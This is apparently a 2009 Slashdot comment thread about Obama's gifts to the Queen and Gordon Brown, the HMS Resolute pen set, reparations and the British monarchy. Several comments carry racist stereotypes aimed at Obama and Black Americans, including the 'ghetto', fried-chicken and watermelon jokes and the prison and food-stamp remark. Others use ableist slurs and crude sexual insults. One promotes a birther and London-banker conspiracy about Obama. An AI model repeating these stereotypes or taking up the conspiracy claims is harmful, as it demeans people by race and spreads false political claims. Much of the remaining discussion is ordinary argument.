In any case, an anti-slavery ship that was anti-slavery "for the wrong reasons" is nothing like a slave ship. It's nothing like giving alcohol to an alcoholic.
To the extent that there's any issue in this story at all, it's a diplomatic issue. Accepting the gift was diplomatically correct. Rejecting the gift, on the basis of your dubious theory, would be idiotic. Yours is the advice of an idiot.
The enemies of Democracy are
What the hell is an "anti-slave ship"?
Proverbs 21:19
Go look it up.
How dare you question Her Majesty's request.
So fucking what?
Well, tell Obama "so fucking what" next time he brings up affirmative action or slavery and see what kind of reaction you get.
Or, try saying the War in Iraq isn't about oil.
There are many who still say Obama may actually be a subject of the queen of england (born in Kenya)...but regardless, even if he wasn't, there is much evidence that he is working for the banking families of the US who are ultimately controlled out of London, england...if you haven't seen it yet: Movie - The Obama Deception
~ awaiting spiritual enlightenment ~
More likely he'll pay EDS 98 squillion gazillion quid to mod it.
After they've finished (with a 200% time and 300% budget overrun) it won't play DVDs from any region. But look on the bright side, it will make lovely toast.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
http://www.youtube.com/watch?v=06JWDLTx4l0
http://www.youtube.com/watch?v=wG9LjC66Z48
http://www.youtube.com/watch?v=Tl3NuxkCNJc
http://www.youtube.com/watch?v=cDc07rYy90I
http://www.youtube.com/watch?v=pD7KwiZ_3Pc
http://www.youtube.com/watch?v=lFOzGvdKC0Y
"So fucking what" to slavery -- versus "so fucking what" to battling slavery, but not necessarily for the most altruistic reasons? Are you seriously still trying to make those two things the same? Alcohol is the same as no-alcohol?
The "repeat what they say in a different context oh snap" rebuttal only makes sense if the other context is related to the original in some way other than being it's opposite. In fact it only demonstrates how ridiculous your argument is.
Your comparison of an anti-slave ship to a klan hood is retarded, wrong, and offensive in its stupidity. You have no business calling anyone an idiot, unless they agree with you in which case the statement is sufficiently justified.
The enemies of Democracy are
I can't stand this argument.
If you're a white person that didn't grow up in an urban slum in the United States, you owe a hell of a lot to a bunch of dead slaves and their survivors who have been not allowed to create the generational wealth that you benefit from. The reason they were not allowed to create this wealth is because the business people who run the country found it useful to defuse thoughts on class with a focus on race.
This kind of racism is still prevalent. When a young white person is kidnapped or killed, coverage can go on for years. When it's a non-white person, it's simply a statistic. When fomenting public support for killing Arabs, politicians can say, "Those people don't understand anything but violence," which is just as ridiculous as saying that Jews don't understand anything but money and Africans don't understand anything but poverty.
If your society was enriched by the enslavement or destruction of another, you don't owe them something, you owe them everything. Not only due to the wealth that was robbed from them, but by the moral obligation to right a wrong. It's doubtful that any person could untangle the horrors societies have done to another, and come up with some dollar figure, but that still doesn't excuse your kind of attitude.
"So fucking what" to slavery -- versus "so fucking what" to battling slavery, but not necessarily for the most altruistic reasons? Are you seriously still trying to make those two things the same? Alcohol is the same as no-alcohol?
You're being intentionally intellectually dishonest. You know the correct analogy would be to say "I can't sell alcohol to you so I'm going to make sure no-one is buying alcohol anywhere else".
The english did it by calling it debt bondage. War on terror, meet OVERSEAS CONTINGENCY OPERATION! See? If you change what you call something it makes it OK, right?
You're being intentionally intellectually dishonest. You know the correct analogy would be to say "I can't sell alcohol to you so I'm going to make sure no-one is buying alcohol anywhere else".
I do know that, and it's still not the same as alcohol! Anti-slavery is still not the same as slavery! War is in fact not Peace! Even if the Peace is rooted in selfishness!
Intellectual dishonestly my ass.
The enemies of Democracy are
I think that the Act of Settlement would disagree with your assertion that HMQ is not the most qualified person to be head of state.
You also have to realise that head of state != head of government, and that there aren't really any merit-based qualification required for the former, except to not conduct yourself in a manner which makes your country look bad.
FGD 135
Ignorance and apathy are the two most dangerous diseases of our time, and very difficult to cure.
~ awaiting spiritual enlightenment ~
she's not amused - you don't give her an iPod - you need to give her a wiiPod ....
Obama needs to quit trying to be "Mr. Joe Cool" and act like a President.
The only thing in your ass is Obama's manhood.
Checkmate, the Indians invented chess you know. Might serve you to learn some history.
Listening to the news this morning it was stated that the Queen asked for the iPod so either ABC news is lying or this is a complete non-story.
By all accounts the Queen is actually into gadgets. She even has a Wii.
I assume that would be the "Royal Wii"?
The Royal Fist Bump.
That most of this culture is available to anybody with $300 to spare is not an indictment of Obama's stinginess, nor of America's, but a celebration of our egalitarianism.
And probably a result of the large number of former entertainment industry lawyers now in various positions within his administration.
When information is power, privacy is freedom.
As an example of the "torrent of criticism in the British press", Slashdot links to an U.S. paper. I'm sure there is a really good reason for that, like those pesky foreign papers using an incomprehensible foreign language, or something...
between new money and old money, higher education and classical education. Darn yankees...
I assume that would be the "Royal Wii"?
Why yes! I hear she even has one in the Royal Loo.
Set your phasers on "funky"!
The Region 1 DVDs - which are, well, DVDs... they're discs. With data.. video and audio and some other bits and pieces to define chapters, menu selections, etc. but data - require a television and a power converter?
Presuming you meant the DVD player... wouldn't Brown -have- a player that works on the UK electric system?
Presuming you meant that Obama *included* a DVD player... ever looked at the backs of those things to find the power specs? By and large, electronic devices are 110V/240V compatible out of the box. The only place I've not seen the compatibility out of the box recently was on an old computer (PS/2 keyboard/mouse, running Windows 98).. and even that had a switch on the PSU to toggle between the two voltages. It's just cheaper for manufacturers to buy the dual-voltage modules as those are pumped out by the bajillions vs the millions for voltage-specific ones and having to deal with including a different one in each package.
At worst, he'd have to get a different *plug* for the machine. Those are $1.50 at your nearest Best Buy-style store. Even that may not be necessary, however; I just bought a Western Digital external drive.. it came with plugs for the EU and UK included.
Personally I'm not fond of that as it's just waste (I'll end up tossing one of them), but there ya go.
On to NTSC/PAL - you'd have to buy a pretty shitty DVD player if it doesn't know what to do with an 'NTSC' stream playing back to a PAL device, or vice versa. That's nothing special about the streams on the disc, btw.. those are just MPEG2 video data streams that match an NTSC or PAL spec (i.e. pixel dimensions, frame rate). The part of the DVD player that matters is the part that converts the dimensions and FPS to the proper output for the device you're displaying on, and that tends to be a menu option (NTSC/PAL/SECAM).
But he certainly doesn't need an NTSC television.
Newsflash: All politicians and people that appear on TV use teleprompters... Deal with it; it's not news.
I seem to remember a couple of years ago a story people tried to bring up about Bush in a press conference had a bulge in the back of his jacket and it was a device that allowed Rove to tell him what to say. If Bush relied on teleprompters as much as Obama does, he would have been raked over the coals for it. When Obama does it, it is a smart move on his part and not news.
--
My parents went to Slashdot and all I got was this lousy sig.
The gift exchange is an ancient custom where heads of states would exchange gift representative of their nations best cultural contributions (in short, "Why we are worth keeping around, plz don't invade us).
So you are telling me that the best the US can come up with is an overpriced walkman and the best the English can come up with is a signed picture of an old woman? We are so FX$%*#^&#.
In days past it might have been a Beatles album swapped for Buddy Holly album. Or Pink Floyd for Nirvana.
In days past it might have been Jack Daniels for Crowley Ale
In days past perhaps Doyle for Twain
A )#($*%#)($% IPOD and a picture?!?!?! WTF!
-=[ Who Is John Galt? ]=-
http://www.businessweek.com/technology/ByteOfTheApple/blog/archives/2009/04/an_ipod_for_the.html
I'd like to mirror virtually all of those comments as an American. The British are extremely fortunate to have her as head of state, even if her role is largely symbolic.
Members of the British royal family have historically (and still do) fulfill important civic and military duties for their country, with the most recent example of Prince Harry's service on the front lines in Afghanistan.
How many Senators' children do you see anonymously signing themselves up for the war?
-- If you try to fail and succeed, which have you done? - Uli's moose
It sits in the Oval Office and is used by all the presidents. It wasn't given to the man, but to the office.
I piss off bigots.
You can take the Obamas out of the ghetto but you can't take the ghetto out of the Obamas. :P
This is just the British press trying to stir things up and now that they have the "theme" of Obama being such a bad gift giver they're hoping to run with it. But look at the facts. They gave her an antique Rodgers and Hammerstein songbook that was signed by Rodgers; a very valuable antique, a great piece of American cultural history and supposedly Rodgers is one of the Queen's favorite composers. Then in addition they gave her an iPod Touch to replace her old iPod nano (which she supposedly enjoyed very much) filled with Rogers and Hammerstein songs and videos of her last trip to America. So we have a valuable piece of American history combined with an example of cutting edge American technology. How is this not a great, diplomatic, well thought out and appropriate gift? Of course the "story" the press is selling is that they gave the Queen something they sent an aide off to buy from the airport gift shop at the last minute. *sigh* This is going to become another "Al Gore invented the internet" meme isn't it?
Old people never through anything out. If her iPod dies then she can use it as a soap dish or something.
Why would he give her an Israeli made firearm?
I meant to use the pen as an example of the perfect gift, it may have read like I thought the opposite... but I meant that to be the model of a thoughtful gift.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I liked the part where you called Obama a "chimp." Real classy stuff, right there.
It was an iPod with video and photos of her 2007 trip to the United States. How thoughtless.
That helped, but honestly do you not think the Queen gets that stuff automatically from the press? If it were you or I, yes that gift would be more special because few people have time to gather that stuff. But the Queen has squadrons of people gathering media, and she can see video of herself any time I imagine... so in fact including that was something that seemed like a nice touch, but again was not really thinking through who the recipient was on a higher level.
To me though, the main problem is still the fundamental aspect of giving a gift that at the core is an impermanent thing. How will that gift be in ten years? Honestly a smaller set of pictures in really nice frames would have been a better gift - more is not always better.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Yeah, you'ss see how "obsolete" we are when you finally break our financial backs and there will be no one left (me, the hardworking middle class) to pay your handouts anymore.
"Honk if I'm paying your mortgage"
Non-whites dominate the prison population and the food stamp population on a per capita basis.
The only thing that you are going to revive is a race war with your disgusting attitude. And the sad thing of it is, is I hate the "American Jive Turkey Ebonix Homie" but have actually had amourous relationships with "minorities" , except you don't tend to call them that when one isn't in the USA.
You're so blind with hate its you who has become the grabby racist.
Also meant to add, is it really appropriate to give someone pictures/video/audio of yourself as a gift?
On the plus side, if the president of the US feels free to give away copies of songs to someone else, I guess it's OK for the rest of us.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Doesn't sound very Greek. Shouldn't it be something like Ethethetekebabopolis HummuousHummous?
on top of what, a privy cuntililgual lip from Her Majesty's Naval Acidemia?
She had a 2005 model, with no video. Also, apparently here staff had asked for the gift.
I guess I just let my urge to spawn soldiers for Satan's dark army get the better of me.
Her Majesty. Not Royal Highness. The latter is a title reserved for those in direct male line to the throne, not the incumbent. Prince William is Royal Highness. Charles is Royal Highness. The Queen is Majesty.
There's a fairly apocryphal tale of Kruschev visiting the US, and taken to a trade fair extolling the virtue of free enterprise. President Nixon supposedly provided a gift of a model of a fully stocked all-American General Store of pioneer vintage, explaining that his parents were shopkeepers and how such stores were the bedrock of American values. Kruschev's reply : "All Shop keepers are thieves !" Can't help but admire his comeback, whatever your politics. Wonder what he gave Nixon ?
B.S., P.M. Brown presented Obama with a priceless, unique, and irreplaceable piece of the U.K.'s history. Obama gave him some DVDs. I doesn't matter how you try and justify that one, it's just disrespectful.
Her Majesty's gift wasn't as commanding as the P.M.'s, but it's at very least more unique and not something you might expect to receive for having the highest number of sales at work. Perhaps the pictures vindicate it, but just barely.
I guess I'm over-sensitive - but I sort of found the Brown gift to Obama offensive.
Not because it was racist or anything - but because it was sort of a gift that no one *except* someone very powerful in government would ever have a chance to have made just so they could give it as a gift.
Do you think that *you* would be allowed to hack a chunk of wood off of the remains of a historical ship, to be carved into a pencil holder? It just reeks of the sort of thing a king might do - because who could deny him whatever he wants?
Obama's gifts, on the other hand, were things any of us could have acquired or created. Maybe not terribly personal in the case of the DVDs (obviously something someone rushed to do at the last second), but better with the loaded iPod in that at least some thought and effort went into it - though perhaps still not quite "appropriate" given the recipient, but paired with the rare songbook, a reasonable gift.
I think the Queen has the right idea - give out a standard gift, appreciated by most, not too tacky.
Because a silver framed, autographed picture of herself is such a thoughtful gift and not a condescending exercise in superiority.
As noted, she gives them to everyone.
Which basically means it was retaliation for the box-store Region 1 DVD set.
So basically you are exactly correct, only missing the point that Obama currently deserves nothing better in the way of state gifts and in fact the point of superiority would seem to be accurate.
Next time he comes I'll bet he gets a magnet from the gift store.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Well he'd already given her government a "thoughtful" dvd set they couldn't even play, when in return they had given him a monumentally meaningful pen set carved from a slave fighting ship of old.
It's like people who never send you christmas cards or give you really cheap gifts, eventually you get the message they don't deserve anything special themselves. And in fact her gift was justified by what he brought.
Thus, hundreds of years of tradition comes to an end. Thanks man.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
I doubt its largely "just" symbolic. Remember, her majesty has a weekly meeting with the prime minister, and from all accounts, this is hardly a cup of tea, as many people think. Its VERY businesslike, and although we will never find out what she exactly says to the prime minister, it is known she has spoken very strongly against some, regarding her concerns.
The best part is, she doesnt act as a dictator, she properly follows rules and procedures which got her into hot water too (just after Diana's death, a period which I personally think she handled well, but the media hyped a hysteria beyond anything)
She is far more of a credit to this country than some of our governments. For example during 9/11, she quickly requested that the american anthem be played during the Changing of the Guard a few days later. Sounds simple? Not quite, firstly its totally unprecedented. And the logistics in training and inviting people, considering she herself was not in London during the time. It was a powerful and tear jerking event to show solidarity with America, and was repeated later after the madrid bombing, with the spanish anthem.
Compare that to our shameful government who's PR people decided to use 9/11 to announce some "bad government reports" in the hope that with the nation's mind being occupied with the events in New York that these news would not be noticed. That failed, and they got blasted for that.
Have a nice day!
Absolutely! One of the things I find most fascinating is that the Queen's political leanings are almost completely unknown to the public.
Given the amount of media attention that the royal family receive, this is outright remarkable, considering that it is well-known that the Queen does take an active interest in the operation of her government (via her weekly meetings with the PM, etc)
-- If you try to fail and succeed, which have you done? - Uli's moose
Cookbooks say something about a nationality, a culture or a person. How about "101 ways to fry chicken" and "favorite watermelon recipies vol 2".
Rumpour has it Brown was hoping for a Jade Goody realdoll.
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Not to say that I agree or disagree with the modding, but I think it's because the way you worded it made it sound as if Obama actually meant some sort of slight against the crippled/retarded (I refuse to use the term "differently abled. There is nothing wrong with either of those words.) when, given the context, it's most likely that he merely chose his words poorly.
And for the record, as much as I despised our previous president, it's not as if you could bad-mouth HIM here, either, without mods hitting you and posters starting up flamewars.
Hear, hear!
So the new updated ipod with photos that are meaningful to her is a perfect gift. Besides, the publicity has been good for my apple stock.
I've reached a conclusion about the majority of posters here. You know how to run a linux box, you know how to write some kind of code, no doubt, but generally speaking you're just as stupid as the rest of the world. You can't read, you don't have much insight into the world, and you're just as likely to fall for a silly British tabloid -- their serious press is better than ours, but their tabloids are even worse and more degraded -- and you're just as likely to spout the politics of 9-year-olds as any shmuck on the loading dock.
And much in evidence here on slashdot.
Brown presented Obama with a priceless, unique, and irreplaceable piece of the U.K.'s history.
Good grief. It was a pen. OK, it was made from historic ships timber. That makes it valuable to some collector I suppose, and the connection to African-American history showed more thought than a pile of DVDs (Region 1 DVDs, no less!). But don't exaggerate.
Nice sig. Care to tell me how I'm exaggerating? Why don't you try and get your hands on one of those pens, in the meantime, I'll get 25 DVDs. We'll see who wins out in the end.
The pen was certainly more valuable than a pile of DVDs, but "priceless, unique, and irreplaceable part of history" is an exaggeration.
I think most people are just a little tired of the constant babble from Obama haters. Yeah, he has a certain capacity for social blunders (this business with the DVDs, remarks about Nancy Reagan and the Special Olympics) and yes, I'm less than happy with some of his policies. But all in all he's doing a decent job. Sloppy gift buying aside, that overseas trip went pretty well, with Obama deftly handling a near meltdown at the G20 and doing a lot to undo Bush's unilateral blundering all over Europe.
Mind you, I'm not saying you should shut up. I'd even say you have a responsibilty, as a dissenter, to be vocal about your dissent. That's how democracy works. But if you want to have a real effect, start talking about serious policies that you don't like. Things like DVDs and lipstick are trivial distractions; people are sick of hearing about them.
I am well versed enough on his policies to carry a lengthy conversation. If I don't know about it, I will look it up. In this particular case, the topic happens to be the iPod he presented Her Majesty, and I saw it as an opportune moment to interject about the precursor to this when he presented Prime Minister Brown with the DVDs.
How you think that the pen is not priceless, unique, and an irreplaceable piece of history is beyond me. It only takes a few moments of googling to discover that it's overrun with symbolism, and is not a trivial gift. I refuse to elaborate this matter for you, though, because I get the sense that it's lost on you. If you're so inclined, look it up, elsewise, you should refrain from commenting on subjects you've little familiarity with.
I have yet to babble on with Obama hating. I have no interest in creating dissent for the hell of it. I'm much more interested in stirring awareness than I am in stirring hatred. For example, that last thread that you found me in: Your post was useless, unless you're interested in the status quo. I couldn't care less who has and who hasn't read what laws. My concern is that these people are writing, amending, and passing laws. I expect every single bill that passes to be read and thoroughly understood. If they are not, then these politicians are not worth the salaries we pay them.
Also, when did I say anything about lipstick? Don't generalize with me. I'm not responsible for any words but my own.
I am well versed enough on his policies to carry a lengthy conversation.
Anybody can do a "lengthy" conversation. I guess you meant to say "substantial". I'll believe you can do that when you start doing it.
How you think that the pen is not priceless, unique, and an irreplaceable piece of history is beyond me. It only takes a few moments of googling to discover that it's overrun with symbolism...
Don't patronize. Everybody who's heard about the pen knows its backstory symbolism. The fact remains that words like "priceless" and "historic" are hype. The HMS Resolute itself was a priceless historic artifact. Some important thing from the Resolute (the Captain's sextant perhaps) would also be a priceless historic artifact. But if you break up the Resolute, you don't have a PHA any more, you have a pile of lumber. If you make souvenirs out of that lumber, they may be full of interesting historical context, and they might make an appropriate gift for the first U.S. President of African heritage (though I do wonder if black people value souvenirs of the Middle Passage). But that's it.
...and is not a trivial gift.
Where did I say the gift was trivial? There are many gradations between "trivial" and "priceless". If I used the word, it was in reference to your arguments.
I refuse to elaborate this matter...
No, you just want to hit me over the head with it.
I expect every single bill that passes to be read and thoroughly understood.
Great. Next time you meet somebody who's running for office, tell them you won't vote for them unless they promise to carefully read every document they sign or vote for. Get back to me with a list of those that solidly endorse the idea. I suspect it won't be a long one.
Substantial? Maybe if I was referring to substance. No, I meant I could converse back and forth for quite some length of time.
I patronize you because you said "Good grief, it was a pen", which, by which you downplay it's significance except to some collector. I do see that you've taken a little time to look some stuff up about it since your last response, but you still downplay it. In that, I take you for a imbecile, due to the fact that you still acquaint a significant gift to a pile of DVDs. I suspect that makes you quite bad at giving thoughtful gifts.
My last paragraph points to when you suggested it was trivial.
The thought has occurred to me.
Alright, I'll cede that point to you. I can't make list of said politicians. I'd be hard pressed to find 5. Though, at least I have a standard that I hold my elected officials to. You seem perfectly satisfied with the status quo of our government, since you care less about what was done, and more about who did it.